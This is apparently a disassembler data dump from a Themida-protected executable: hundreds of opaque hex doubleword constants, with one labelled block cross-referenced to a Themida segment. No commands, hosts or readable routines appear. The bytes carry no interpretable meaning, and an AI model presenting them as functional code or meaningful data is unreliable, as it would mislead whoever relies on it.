dd 160424h, 57470000h, 0DB6259C3h, 95FF006Ah, 6070D69h
dd 5EEBC08Bh, 12F24723h, 5C5FDE05h, 0E4D5F0D4h, 3840BE91h
dd 66805B19h, 8ACE7103h, 696A609Bh, 19113B64h, 795630D2h
dd 18989307h, 143080B5h, 9C6AD33h, 1DD51B43h, 5FB824F0h
dd 0F0C331B6h, 8988D96Ah, 82CE791Fh, 86DFAAFEh, 0F33A5103h
dd 0D34F6526h, 2A973238h, 0ADDD06DFh, 1DD01140h, 0DE872DDh
dd 9C000000h, 284FB496h, 0E203A9C8h, 5C8DDC7Ch, 0CE8h
dd 0D5F81900h, 0F15CEA5Ch, 474AC343h, 7E833h, 0C6580000h
dd 0A689D1CEh, 51ABBA11h, 5B5F46C3h, 8B0F5Eh, 81000000h
dd 5D93C6h, 0F88B5700h, 0F0F6B85Bh, 0C0811DABh, 0E2542636h
dd 47FAD381h, 0E8B78C3h, 0AE857h, 66B80000h, 0AF83E58Bh
dd 35C2FE6Ah, 14C58D89h, 5F5F0607h, 0FF4EC181h, 6DBB1CBAh
dd 8116E74Dh, 6EAFCCE9h, 9503605Ah, 607202Dh, 8161DE8Bh
dd 265449F1h, 89DA8B76h, 13E80Eh, 90BC0000h, 0BFCC8477h
dd 0CFD53D44h, 7D52E271h, 5987417Ch, 0F98B6611h, 3EE835Bh
dd 4EDBBF0Fh, 8FAEF281h, 0E8811AF3h, 1, 0D850Fh, 1BE90000h
dd 4000000h, 5DB30E3Eh, 0F929EE7h, 77E9DAB7h, 0BFFFFFFh
dd 91548D64h, 0D2976ACEh, 8D8D8D8Eh, 60CF530h, 13E9h, 0BC640C00h
dd 0DBF0BAC6h, 0F7603E9Eh, 0ABCF2FA5h, 6AE1DB69h, 0A2DBD8Bh
dd 8D890607h, 6071AD9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 0FDC35242h, 0F7543B39h, 1D85C7E9h, 3C060710h
dd 8B000073h, 585C7D8h, 60733h, 66000000h, 0B5FFD08Bh
dd 6070469h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Bh, 75C35545h, 5326395Eh, 0FF8BA490h, 7185995h, 0FA8B6606h
dd 95FF006Ah, 6070D69h, 48EBC08Bh, 8F2EB188h, 0F6F79Bh
dd 0BDAAE458h, 9C9A9FFDh, 79C4C1A8h, 0CB8DE535h, 837FD023h
dd 2FEFDF49h, 5C1381E9h, 5809CDC8h, 0C004DD27h, 0E35F8B90h
dd 2F124CD3h, 55904AF2h, 92C84BF3h, 64EF0EA2h, 0C8790131h
dd 28B634C0h, 7D0079EBh, 218CEF9Eh, 0AFD60FE2h, 0B2979FABh
dd 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h
dd 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h
dd 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h, 0FD91A7h
dd 4ACC48D1h, 713C3359h, 0DB4D5200h, 0D65EF357h, 0B79BB7h
dd 95ABAFF6h, 0F0009F89h, 0D7C77156h, 1800BEB3h, 0C4D75671h
dd 0CB73E2ADh, 0E939BFAEh, 105Ch, 0CF7E368h, 877DE906h
dd 568FFFAh, 0E9060CF9h, 0FFFA8773h, 0CF9FD68h, 8769E906h
dd 6F68FFFAh, 0E9060CFBh, 0FFFA875Fh, 0CFC0C68h, 8755E906h
dd 0C968FFFAh, 0E9060CFCh, 0FFFA874Bh, 0CFD9268h, 8741E906h
dd 6A68FFFAh, 0E9060CFEh, 0FFFA8737h, 0CFF5B68h, 872DE906h
dd 1168FFFAh, 0E9060D00h, 0FFFA8723h, 0D016568h, 8719E906h
dd 0A068FFFAh, 0E9060D03h, 0FFFA870Fh, 0D04A768h, 8705E906h
dd 7CADFFFAh, 81AD54E9h, 7CAA51E6h, 76A54CE1h, 6C9F46DBh
dd 91A944D9h, 7D12A3D6h, 770CA9D6h, 6E039ED0h, 6B0097C7h
dd 0D142309Eh, 1C4396FCh, 0FC2C3305h, 9C44BAA1h, 53F47D2Ch
dd 6DF525ACh, 0A36C0E7Fh, 1D865949h, 0A710924Eh, 61F6970Ah
dd 82181098h, 0A283EA94h, 2BD2A547h, 8EFFED9Dh, 0D9439C53h
dd 69D61C06h, 96439C53h, 726365B3h, 541FB65Bh, 36DD78ABh
dd 49DC0E9Dh, 256B5Fh, 0ACF0000h, 6F48A82h, 47A30184h
dd 27BEEEAFh, 9F46E780h, 9CE166D3h, 66B09343h, 0B5D17560h
dd 12E671Fh, 2CCB0000h, 3BC269FCh, 3FC66D08h, 5FE2780Fh
dd 3D50B38Eh, 0ACFC65A3h, 0C902AC71h, 0A027402Ah, 4230E070h
dd 49A336D1h, 475491Ch, 4F49A336h, 26C1ED7Ch, 4E04F085h
dd 0DB49A333h, 1C8D7B2Bh, 6749A332h, 324FC094h, 0D99A49A3h
dd 0D26B12ADh, 16464731h, 1343EA7Fh, 9C24CD74h, 0A011FFAFh
dd 0EB49A332h, 32D34418h, 0E41749A3h, 8911AA51h, 3262D3C1h
dd 0DAAD49A3h, 14029839h, 47A243DAh, 440DA275h, 7E2EC4BCh
dd 9C131F90h, 95306343h, 0FACD55EEh, 6D1A0810h, 2A419476h
dd 0CB34E81h, 0BC8F8973h, 17887626h, 623D9266h, 0F49DA58Fh
dd 0F49B30C1h, 5A5A30C1h, 58F07F28h, 0DD4A829h, 18490000h
dd 1541E87Dh, 103EE57Ah, 0A39E075h, 33DA6Fh, 1D35D065h
dd 1962F62h, 0FB902D5Ah, 0FA8F2254h, 0EF842353h, 55C6B422h
dd 0A04396FBh, 0A225B789h, 82B2F1A6h, 6445AE1Eh, 69DAE621h
dd 184B4C36h, 3E64E77Dh, 6DA30ED3h, 0EC9AA18Bh, 1BDD4E3Ch
dd 552849A3h, 0A63A6A6Bh, 0A31B47B8h, 30BF9249h, 28C16801h
dd 9B44F287h, 17E3CD68h, 0D9F27525h, 8A1BBD60h, 0FEFE6F43h
dd 764949A2h, 0E9E1698Ch, 2F20A353h, 744A174Fh, 1294DAC4h
dd 3D47A215h, 96DEB2A2h, 0C5664BAAh, 39E5521Eh, 2F12439Ch
dd 11AD30E1h, 0EED37151h, 29BCEC7Bh, 27EFE63Fh, 0B4ED1FB6h
dd 51000000h, 8674FC2Ch, 49A3F215h, 45EC8D60h, 0DF0C8BBEh
dd 23119F46h, 49A3F2B2h, 0E8892AFDh, 0EEBF7541h, 235349A3h
dd 2AD16496h, 0B45BF091h, 0BC4AF184h, 5D0A539h, 29134E3Bh
dd 0F0867E06h, 0A23DC802h, 0FB906347h, 1CB2AA32h, 9473262Eh
dd 0F48A5D41h, 947E194Bh, 15B0E38Ch, 0BA6D980h, 7F2B8B35h
dd 870837F0h, 0CB2h, 0CA5FF627h, 0C358F723h, 0BE53EE1Ch
dd 0B84DE817h, 0AE43DE11h, 0D40FB13h, 0B38DF74h, 436DD72h
dd 535DC71h, 0A210DD72h, 96F943B4h, 0A5778E43h, 0B8497C25h
dd 79ACDCEh, 79BCB72h, 0A3F2A819h, 532F349h, 8728C168h
dd 2CDF51E6h, 3BC269FCh, 29D76C0Bh, 0F21A8B79h, 325E49A3h
dd 0CB53EC93h, 0DF0D0EF8h, 31BB317Ch, 98398109h, 9B3A6AF1h
dd 7DAF5806h, 0C0AA43EAh, 8B12AD1h, 30533DD8h, 5CCDBBA8h
dd 0A749A300h, 0AF9D33D4h, 47A20705h, 0A31402B2h, 0E7439BF6h
dd 0E07920B7h, 0A19B8558h, 0D07947CEh, 51EC1BA4h, 1280C6B0h
dd 34B215E5h, 301EB4ACh, 4A10D56Eh, 0F69F4619h, 37E0766Eh
dd 31CA7104h, 0DF8F3F47h, 9A6E0736h, 460AB429h, 0E412A174h
dd 0A4195F49h, 0BF4404E4h, 81AD56ECh, 0BCA63FE6h, 3CDB0BB4h
dd 35D000A7h, 0CD0A435Fh, 0C74877F5h, 0BBAh, 0D267FE2Fh
dd 0CB60FF2Bh, 0C65BF624h, 0C055F01Fh, 0B64BE619h, 1548031Bh
dd 1340E77Ch, 0C3EE57Ah, 0D3DE479h, 0AA18E57Ah, 96F94BBCh
dd 0AD7F9643h, 0C269FC2Ch, 11D19119h, 5AD9B908h, 24958319h
dd 6F49A320h, 0BC65FB9Ch, 0B952F98Ch, 2BD9C7CFh, 0F647A220h
dd 3DC58E23h, 0FD8C2B57h, 0FF9536D1h, 90A897Ch, 654F02FFh
dd 70ED6F5Dh, 610A419Bh, 0B5AF9934h, 9031C4F4h, 70B01DE9h
dd 0C5F43D95h, 0CFFE852Ch, 17E88F36h, 84670D09h, 42A134BAh
dd 7E2725BDh
dd 0D7CBB550h, 64h, 8775253Bh, 49A3F216h, 0D772A061h, 0CF69730h
dd 0D36961E9h, 0B65DF82Ah, 3D2B331Dh, 47A33769h, 6717AD80h
dd 0D40691BEh, 72F9A041h, 6A03AA43h, 0ACDEDFC9h, 2D988419h
dd 6D439CA7h, 344AE23Dh, 0B922BBE8h, 9435BDFDh, 0DC347BFEh
dd 52F41E32h, 88BA6168h, 0AA39CCFFh, 9F38DF7Eh, 0BBD657FEh
dd 4C00000Ah, 0F48A820Ah, 0DB821D4Bh, 62505842h, 47979C99h
dd 42EB8154h, 81897312h, 770DA8D8h, 0AB58E1F4h, 0A13AE17Ch
dd 9B4C7338h, 0D303AAB1h, 5CE48D34h, 0A8E0CE64h, 31418AECh
dd 4C229381h, 9A6D3D8Ah, 543ED90Bh, 48F1875Ah, 42DB821Bh
dd 77A75058h, 74A44BE0h, 9913AE1h, 0DF8D7B11h, 9C3B894Ah
dd 3D27C6F3h, 49A7043h, 0BEEE4E0Ch, 0A480E8Fh, 8CBD0000h
dd 91BD64F9h, 8CBA61F6h, 86B55CF1h, 7CAF56EBh, 0A1B954E9h
dd 8D22B3E6h, 871CB9E6h, 7E13AEE0h, 7B10A7D7h, 0E15240AEh
dd 2C4396F7h, 0A2254315h, 0BF94622h, 49A3339Ah, 73A912E5h
dd 6BB19B0Eh, 49A37AFEh, 0AA09820h, 0F881B15Ah, 0E58C2DC8h
dd 2C1C624Ch, 73479726h, 31610AA0h, 31CCF8A1h, 9685EC5Dh
dd 63FE3043h, 0C89B23BCh, 0BBEB9227h, 44CC751Ch, 0E00DB64Ch
dd 1B059E45h, 86772513h, 7A424195h, 8F861B8Ch, 493663Dh
dd 0CAA041D4h, 0F07AC842h, 0AB0081B0h, 20000009h, 1AC156EFh
dd 13BA4FEEh, 0EB54AE5h, 0AB146DFh, 0EA93ED7h, 6D083BF6h
dd 690431D8h, 68FB2DD4h, 69FC2CD3h, 0AB9907D4h, 4396F63Ah
dd 2C9C6E85h, 3BC269FCh, 0E2C56C0Bh, 0CD3E2CDCh, 1849A3F2h
dd 36005B45h, 0AEBC25B0h, 0CEFAA319h, 3551452Fh, 79000004h
dd 1A049DD0h, 507C254Eh, 20A8CBB5h, 0C8A49228h, 0EF47979Ch
dd 2DD6861Ch, 26BF6601h, 7E0B3B3Ch, 7A13BA4Bh, 781FBEEBh
dd 0F8A83EDFh, 96FC990Ah, 7ECC0343h, 3216FEBAh, 90A40FAAh
dd 96983ACAh, 5D040BF5h, 27F39A2Dh, 439765BAh, 0C65C54DCh
dd 6D57EA1Dh, 64C97765h, 0C1944196h, 7D2AB9EBh, 69EA19F0h
dd 8EEh, 0FE933263h, 0F78C2B57h, 0F2872250h, 0EC811C4Bh
dd 0EA7F1245h, 497C374Fh, 4F7C23B8h, 487A21B6h, 417118ADh
dd 0D64411A6h, 96F677E8h, 0D9ABC243h, 0C269FC2Ch, 9C09B134h
dd 48180C71h, 0F2DC7D18h, 7F26C1F1h, 44F5439Ch, 3DCC6B9Bh
dd 36CF7611h, 24E2F34Ch, 34E419AFh, 0D62374B1h, 8C606D38h
dd 49A31E1Bh, 0B5A99366h, 360h, 0F27AE719h, 149C49A3h
dd 0F298861Ch, 9F47979Ch, 452FC6F6h, 39E2784Bh, 31CA710Ch
dd 0E68F3F47h, 0DD761DB8h, 5BC2F2F3h, 0EE2DD8B9h, 0E27718A8h
dd 0D15E8B34h, 0C16809A4h, 0D3D3E28h, 0A22AD37Ah, 54F590BCh
dd 52E515BEh, 0C4726068h, 8F419618h, 7EB2E6BCh, 0D908F07Dh
dd 82558h, 0CC699A00h, 0C9649037h, 0C45F8D34h, 0C059882Fh
dd 0C051842Bh, 0BD78902Bh, 0BB62F78Ah, 0B35AEF8Eh, 0AA51E681h
dd 7946DB7Ah, 0F5AC1D0Bh, 0E0F74396h, 69FC2C0Eh, 0F6A050D3h
dd 47C3BF48h, 7F522FBCh, 240EAFAAh, 0A5D47D0Bh, 0B5507D0Ch
dd 8A8B750Eh, 3B9ECD5Ah, 137A040Ch, 0F99A3B98h, 8166F52h
dd 0AA3B6E17h, 9D6E67C0h, 956C19AFh, 0D0000002h, 0A3F27AE7h
dd 1C149C49h, 0FE2DD686h, 3923BC63h, 979D58F3h, 962CFF47h
dd 0FC87F8E6h, 0FFD24396h, 23494396h, 0BFA91E75h, 0E68407B7h
dd 0CB8E666Bh, 0EF1F200Ah, 2412C258h, 439738B3h, 0FB375B1Dh
dd 0E0686DA6h, 751C230Dh, 620BB245h, 5E4CE2DAh, 4196310Ch
dd 53EE20C9h, 2F2913ACh, 5628865Ch, 0A3D2F07Dh, 74D22h
dd 0F491C200h, 0F18CB85Fh, 0EC87B55Ch, 0E881B057h, 0E879AC53h
dd 0E5A0B853h, 0E38A1FB2h, 0DB8217B6h, 0D2790EA9h, 0A16E03A2h
dd 0F4D44533h, 81F4396h, 69FC2C36h, 6C0B3BC2h, 10C753D6h
dd 0D909AD2Fh, 1C4FD6EFh, 6654E289h, 49A381F5h, 0ABDE6D40h
dd 1CAF731Ah, 0F3591212h, 0DA811C4Ah, 0DF862153h, 60BBA546h
dd 9D3868D6h, 84B15A08h, 40A942E9h, 0A4AB6D2Bh, 27806A04h
dd 19AF3DAEh, 0B1A99518h, 0D33C73C9h, 0DB44E9DAh, 6D578FD7h
dd 779h, 9532DD00h, 0A8000001h, 0A3F278E7h, 160E9649h
dd 684DD080h, 0EC5C0ABFh, 0DC6FE0B4h, 0E7BA49A3h, 6D07F5FDh
dd 8479787h, 0D67D1847h, 5D069C3Dh, 5B049A2Dh, 4FE88F2Eh
dd 7B05E65h, 53543ED9h, 34DD8423h, 301EB4ACh, 4195FCDEh
dd 38BFF29Bh, 0E2CC6D08h, 0E73F15E8h, 3F07A82h, 65C53D4h
dd 0A0D10000h, 9DC97005h, 98C66D02h, 92C168FDh, 88BB62F7h
dd 0A5BD58EDh, 891EB7EAh, 8318B5E2h, 8217AADCh, 770CABDBh
dd 0DD4E3CAAh, 284396F3h, 0FC2C3F11h, 0B3BC269h, 5B14C56Ch
dd 943363CDh, 0BFD500FFh, 70719AEh, 6B000000h, 0EB32h
dd 77E7A800h, 9549A3F2h, 917F150Dh, 47979CC0h, 7922B88Bh
dd 9518AE49h, 5D5A30F8h, 14B3E38Ch, 4933D46Dh, 0F6E49442h
dd 43977185h, 46E10FD0h, 7B65069Fh, 4AB4A7Ah, 0F8E6D35Bh
dd 43977187h, 5A019CCBh, 0C56639C1h, 87EF412Fh, 29AC4196h
dd 355798EFh, 0A6D261FBh, 50231D07h, 7DC0207Ah, 22A3D2F0h
dd 5A6h, 0B64BEA1Bh, 0AF44E30Fh, 0AA3FDA08h, 0A439D403h
dd 0A237CAFDh, 134EF07h, 734DB70h, 32D96Eh, 0F929D065h
dd 8EFCC95Eh, 96F22FA0h, 91637A43h
dword_59C800 dd 0C269FC2Ch, 0C56C0B3Bh, 63CD5B14h, 0FF9433h, 19AEBFD5h
; DATA XREF: Themida_:00561106o
dd 0E07h, 7C256B00h, 730CB34Eh, 2E8E89h, 2C040000h, 3BC269FCh
dd 1C56C0Bh, 0EC6FA06Eh, 0AF6E796h, 5B5C461Ch, 4DF68C2Bh
dd 2FA08E1Eh, 7A49A39Dh, 0C65F06A7h, 2734D5DCh, 0AA000000h
dd 2C04A225h, 31C1E944h, 91164647h, 841DC45Fh, 74A44DE3h
dd 0B7A13AE1h, 0BF64D29Eh, 85BE49A3h, 0CA5D8DBBh, 0A225C335h
dd 0ACD37773h, 0F7F8E256h, 0EA9A30C7h, 0A3E28BFCh, 0E215D649h
dd 6E0FA84Fh, 3AC26B84h, 0F5BEAC42h, 0B047978Ch, 0EE9747DDh
dd 1C7D24C1h, 40E7FA67h, 432DCE8Eh, 0DE731242h, 0DA700737h
dd 0DF586F57h, 0D74037D6h, 2A9235DCh, 132C16C8h, 19ACDC85h
dd 4977E1B0h, 4A34B9DAh, 8BB99F27h, 0FB049F0h, 7A538B79h
dd 17EA418Ah, 1FA8D881h, 22B859ECh, 0D9138472h, 8B5E3D89h
dd 43EC9AA1h, 3AD37A15h, 881F4F50h, 78AA53E1h, 0B85574DDh
dd 1944E135h, 8C840C2Fh, 345A08F6h, 52253B88h, 4F1ADC7Ch
dd 0F677A6EEh, 452h, 6AFF96C7h, 63F897C3h, 5EF38EBCh, 58ED88B7h
dd 4EE37EB1h, 0ADE09BB3h, 0ABD87F14h, 0A4D67D12h, 0A5D57C11h
dd 42B07D12h, 96F1E354h, 45172E43h, 0D469FC2Ch, 0B5507D26h
dd 8A8B750Eh, 8D14BB5Ah, 7223CA5Dh, 8C41890Ch, 30D8DE49h
dd 0F35DEB46h, 908F24C3h, 19AF0845h, 5797h, 820AFB00h
dd 0FEC19AC2h, 0DC7D03D1h, 0D36E9D46h, 0A1A9932Ch, 0A2BDDFB3h
dd 8D23F647h, 891FB2E4h, 2D7AEBD9h, 0F2C5439Ch, 0AA150108h
dd 0EA439C2Dh, 3D2B53BAh, 778E17CBh, 0EA9341D6h, 30311BBAh
dd 24CD63FEh, 2CBA61F4h, 9C0BCD3Eh, 0A4451843h, 9F20A1BAh
dd 96000003h, 0F48A820Ah, 0D26D9B44h, 834A2E8h, 0C87147A3h
dd 44E3139Ch, 969BFCA3h, 0A4B1D05Ch, 5C5640E1h, 2B5BE289h
dd 8E21E58Ch, 6EC7480h, 89E3FD6h, 9B2AAC1Ah, 1240E941h
dd 4D37D077h, 22EB8053h, 8FA8DA9Ah, 67EDDF20h, 95FE9690h
dd 0F293AF9Bh, 33006E5Ch, 8A4B3B94h, 821BC25Bh, 80B33AE1h
dd 8AD33EE5h, 0F0E870BCh, 0BC27AA5Ah, 31959233h, 0EB599F89h
dd 36358DFCh, 0F727CE63h, 232B960h, 7D05CE63h, 5701EF85h
dd 42F86E3h, 33665381h, 0A58FB95Fh, 1BBAEAABh, 9A07D37Ah
dd 0C72B8066h, 41945AE4h, 9B37D248h, 3Bh, 8A820AFFh, 0E55644F4h
dd 3049A3F1h, 7D6B735Dh, 47A2FFFBh, 0E0AC5326h, 439CDF73h
dd 0BE73BDA0h, 0DFAF200Eh, 5FFA439Ch, 0C7D91575h, 0BCA64764h
dd 0B5DE7263h, 0E4681Fh, 2CCC0000h, 2AD369FCh, 5F7862FBh
dd 650CA5D8h, 0FD29AEDEh, 7335F9Ah, 49EA302Ch, 4A7A01A8h
dd 3C6C15ABh, 0DA6902A9h, 202711ACh, 0A39D7E34h, 43E21249h
dd 40D707AEh, 8268F099h, 0FC9BC750h, 7B24BA5Bh, 2E1CB24Dh
dd 49A39CBDh, 434B3508h, 0A27D6755h, 49DFB247h, 0E66A62C6h
dd 17AD2561h, 9CD3B829h, 46300343h, 0F6EE763Fh, 0DB07B060h
dd 0DB0E953Ch, 690AA34Ah, 6B12ABDAh, 12A2E8D2h, 59419535h
dd 1447F086h, 8E3EEC81h, 93252FA0h, 0BDA77A3Dh, 22F889BCh
dd 0F07E683Ch, 1756D706h, 8C000002h, 8E35CA5Bh, 872EC362h
dd 8229BE59h, 7E25BA53h, 8A25BA4Bh, 0F184B772h, 0ED88B55Ch
dd 0E47FB158h, 0DD78A84Fh, 1F0D7B48h, 4396EFAEh, 2C10E2F9h
dd 0FF71A0F9h, 0DDDA5D9h, 30D76Ch, 0DAE4977h, 820A0678h
dd 9B44F48Ah, 0A2E8D26Dh, 47A30120h, 39E2784Bh, 6C856F0Ah
dd 9CE133A0h, 4DD06043h, 0D3D22430h, 42287347h, 0C6225A8Eh
dd 56E03B25h, 0B61B4590h, 0DC971Fh, 2CFB0000h, 3BC269FCh
dd 0FAC66D08h, 49A3EF44h, 780DA8D8h, 5F06A1D1h, 0A0362EB6h
dd 0A2CEC4B2h, 2E740F47h, 0FE731EB8h, 0A617059Bh, 0F1439C8Ch
dd 3AE87D1Eh, 0A7D65F91h, 2DCE670Eh, 6957ED86h, 439C8BF8h
dd 63867043h, 9D4DE3DBh, 572BC6F4h, 439C8BE6h, 6C745E31h
dd 94F0D97Eh, 2BC19441h, 20B64F82h, 0E0118270h, 0C15C3D92h
dd 3C0FA787h, 0E049EA50h, 400EAB4Eh, 0F7FEE8B0h, 66961D50h
dd 0E4582ECFh, 0D6F07F05h, 11026A7h, 54850000h, 59852CC1h
dd 548229BEh, 4E7D24B9h, 44771EB3h, 69811CB1h, 55EA7BAEh
dd 4FE481AEh, 46DB76A8h, 43D86F9Fh, 0A91A0876h, 0F44396EEh
dd 0F92C0BDDh, 0FD29D268h, 0F20E7F6Dh, 865949A3h, 0FA53EE5h
dd 0A3F2B021h, 3E28FB49h, 0C5609037h, 0FC2CBE30h, 0B3BC269h
dd 860ED76Ch, 490AF88Eh, 0F447979Dh, 0C3F37A21h, 0E666665Ch
dd 4BEC8BA4h, 0AF5808B6h, 9E0FE382h, 0E94396F9h, 0BB5CF528h
dd 0C269FC2Ch, 0E3E3F29h, 0AE04D077h, 857A4861h, 7D3CC245h
dd 8C02849Ch, 4FF947A2h, 45F3881Fh, 2D116C9Ch, 0C03F4D67h
dd 0DBDCC667h, 59EC1EABh, 0DA8311B8h, 0CE670EA7h, 19B4E3E4h
dd 59BCEB72h, 1678E5CEh, 0F69D3EC7h, 1AA93C6Fh, 0F6A74EE7h
dd 0C033F33Dh, 0BB2C1ACAh, 603E4B4h, 20EE4933h, 9A2FC6F6h
dd 51B93CECh, 0F137B96Eh, 0AE32A377h, 0AA7D03E4h, 0F88FBFC0h
dd 0EA1AC351h, 210BA44Bh, 0D26h, 75259C00h, 0A3F21687h
dd 0A48E6149h, 0FB2CF3D5h, 0C3CC36Ah, 194BD279h, 2350D77Eh
dd 295CE38Ah, 376AF198h, 4170F79Eh, 4C7A01A8h, 57830AB1h
dd 566711B8h, 0C681E689h, 4, 5604EE83h, 42474FFh, 24048F5Eh
dd 131E685Ch, 14890000h, 0E7895724h, 4C781h, 0EF830000h
dd 243C8704h, 242C895Ch, 0CF67F68h, 24148B06h, 5404C483h
dd 81242C8Bh, 4C4h, 8B95100h, 1000000h, 0BB53E9h, 1000000h
dd 5B1389CBh, 2434FF59h, 4C4835Dh, 5A2434FFh, 4C481h, 38E90000h
dd 65FFFA77h, 12047710h, 54D8E7F7h, 22D73B32h, 0D05DCB8h
dd 0FFC50306h, 7E22F6E0h, 0B2A9F220h, 0BA46B7Fh, 5B5FC535h
dd 0E23F5765h, 1530EE20h, 2EA0E33Bh, 9F929014h, 0BDBD5415h
dd 7FF4A66h, 1C75A24Eh, 2509D65Ah, 0D631CA22h, 3CFDAA6Eh
dd 5C14E36Ch, 8B6E6C4Ch, 18CB3660h, 453A2125h, 1B84448h
dd 672AAF61h, 4103E552h, 7277BF3Fh, 7AB1A76Dh, 0BDC50B50h
dd 0EEBDC74Fh, 10361859h, 506BEA54h, 0F7378061h, 6E04EB03h
dd 0E94E8EAAh, 553h, 0F2871E4Fh, 0EB801F4Bh, 0E67B1644h
dd 0E075103Fh, 0D66B0639h, 3568233Bh, 3360079Ch, 2C5E059Ah
dd 2D5D0499h, 0CA38059Ah, 96EC6BDCh, 919FB643h, 781FBAE8h
dd 0EC8BFCEAh, 3D64396h, 25AC7862h, 0FA87F275h, 0A7D37FEFh
dd 0A34562D3h, 0F0DAAD49h, 8128BFEFh, 992EC7FAh, 7C23C2F2h
dd 1244C5F5h, 9E3FD87Fh, 0A94470F7h, 7BFE3E02h, 659C5FAAh
dd 2917ADD9h, 49A3A2B8h, 0EB463003h, 36C3F35Dh, 2CC56C09h
dd 33DA6D9Dh, 0B664F99Ah, 0EAD57C33h, 0CDB79A57h, 72079ACCh
dd 57FE99CBh, 2715A3D0h, 49A32AB6h, 882FCEFAh, 0F39467EFh
dd 68EBE14Ch, 0FAB4FE14h, 0DD38223Ch, 20B3E553h, 21B4E48Bh
dd 0CA40AE7Ah, 0CF2849A3h, 0E8567F41h, 0ED7019AEh, 0B2323250h
dd 5EFC1696h, 83ECDB6Ch, 5704F8E2h, 68000000h, 0C269FC2Ch
dd 0A3F28BF6h, 8166F49h, 0AEC00FC6h, 1CD19h, 2C310000h
dd 37BE6500h, 3EC56C0Bh, 48CF760Fh, 4DD47B16h, 47E0871Ah
dd 48EF8AB8h, 0D450DE97h, 76AB7508h, 1B05A0CDh, 6C5AEE1Ah
dd 49A3F1FBh, 3DD27346h, 0B54C0C8Fh, 3F0D172Ch, 91245455h
dd 0A2258AFCh, 0E0D37F73h, 63644EA9h, 4FFF9530h, 0A31EF061h
dd 7E683B49h, 13B2DE65h, 0DA8D47Dh, 0A0590A23h, 0C9F8A196h
dd 12454630h
dd 1343EA7Fh, 1F20917Fh, 986B49A3h, 9BC950F7h, 2BBB5900h
dd 10B75682h, 0E4328D77h, 0AF9103E2h, 7DF919h, 2C5D0000h
dd 0BD4B7AF9h, 0A3F25ECFh, 35D6A949h, 3866ED94h, 9F32F69Dh
dd 0E174A791h, 0DF72A54Ch, 0E782B138h, 0E079A851h, 6B5A077h
dd 16004358h, 0AD4876FDh, 0B6517F06h, 0CD5BA40Fh, 7EC8AB51h
dd 0AF5F6D78h, 628F19h, 2CF30000h, 4FD268F9h, 3E0A3164h
dd 8E7C1248h, 49A3401Dh, 92AB9568h, 0A83ED90Bh, 8A70C825h
dd 0FA89E0C5h, 0ED862DC8h, 927AEA03h, 321CB7E9h, 0ACDF49D7h
dd 2C128419h, 0E8477700h, 4F3DBE8Dh, 4FF6973Dh, 58FF9AC8h
dd 0D67D1EBFh, 0A3AC9C0Ah, 1D2B8449h, 0AF05FADBh, 6E019h
dd 5F080000h, 0E0AC9631h, 0C7507C25h, 0C0590097h, 0F5DF781Fh
dd 842BC6F4h, 204CCDFDh, 0A54EE485h, 0D8F1DB76h, 2C1A246Dh
dd 5CE63FEh, 1EF857Dh, 47A30987h, 0E1CC07A2h, 765F2AC2h
dd 0A18F3FD5h, 439CCC30h, 0A5BEA87Bh, 8796717h, 53439CCCh
dd 65959680h, 66963DD2h, 609039CFh, 9EBD1EC5h, 1455005Ah
dd 59725CFDh, 0BC2D1BCBh, 7439C64h, 3FB09E34h, 8A439C64h
dd 1C87CDB7h, 73439C64h, 1040EE38h, 412FDF75h, 439C64D0h
dd 8E275A1Bh, 55FC03EDh, 64EB9225h, 620BA134h, 53EC9332h
dd 9BC95069h, 64AC1D0Bh, 24F7439Ch, 2255DC83h, 0C04FE88Fh
dd 9F50F792h, 0BCEE58E6h, 48E98229h, 0DE48D68Fh, 838217AEh
dd 1FB64E52h, 13E88h, 352DB000h, 0A0C952Ah, 0A501C06h
dd 44F48A82h, 0F235A694h, 0AD8049A3h, 0F9CF7DC3h, 0C79A47A2h
dd 0B7E99220h, 46DC751Ch, 9CE8E758h, 755F3243h, 0E6E94474h
dd 2E6D60F6h, 11744CB5h, 4BFFE3D4h, 3E6E15AAh, 497900A7h
dd 3D6F18AEh, 0F6A7C0AAh, 1545F33Dh, 0E7EEED82h, 0F51FB630h
dd 3Eh, 8F830A59h, 872250F9h, 62E5959Dh, 4F950531h, 97DDC763h
dd 49A3D276h, 0DBA74E21h, 49A3D16Ah, 0A373BD8Eh, 0A492281Ch
dd 49A3D183h, 25C65B2Eh, 0ABh, 0A85DDC5Fh, 475C1FFDh, 820A915Dh
dd 9406F48Ah, 0D147A2EEh, 8249DE4Eh, 281D7839h, 8889F209h
dd 0E6E0CA2Eh, 0B5E56C13h, 902ED85Ah, 6E04671Ch, 9C160F80h
dd 0E6875A43h, 0DC7BA750h, 8339C35h, 4AD96EE9h, 0ED949B85h
dd 0B7832ABDh, 439CC1FFh, 73DD6BA6h, 460FA443h, 758DFEBEh
dd 0AC5F8211h, 15C5750Bh, 9C2DB627h, 442E0143h, 91275DFEh
dd 8E350841h, 9940D707h, 0A047E612h, 0AB52ED19h, 37F741FAh
dd 61AD7BC4h, 9B4BE1D9h, 8027C6F2h, 9132CDF9h, 1FC061A7h
dd 0AD5D3B84h, 821F4EBFh, 0C3629237h, 847E683Bh, 25AA1CB1h
dd 11B8497Ch, 0E36B8E78h, 85204DF6h, 0A3F240B1h, 17B88B49h
dd 12ABD881h, 91322028h, 3C4798ECh, 0B3BC269h, 0A629D76Ch
dd 7B9A33B6h, 0C8C9B32Ah, 8A56FD98h, 0B18A932h, 0EE1CC505h
dd 1C082A8Bh, 57F88530h, 1A04126Dh, 0FB64BEAh, 13A148DFh
dd 0F3047563h, 1A48FB11h, 0B73FD87Fh, 0CAF9FAE4h, 0D6771241h
dd 0AD7BC42Fh, 1FB45383h, 6AD4878h, 0C85h, 405EFB00h, 2AF2A8BDh
dd 0F4DE2F32h, 6AFB2C28h, 790C3CC3h, 7E194BD2h, 8A2350D7h
dd 98295CE3h, 9E376AF1h, 0A84170F7h, 0B14C7A01h, 0B857830Ah
dd 89576711h, 4C781E7h, 83000000h, 3C8704EFh, 3C895C24h
dd 514B6824h, 2C890000h, 66536824h, 14890000h, 0B8505724h
dd 30F9637Ah, 0E4EE7C2Dh, 58C7891Ch, 197223BDh, 5FFD3112h
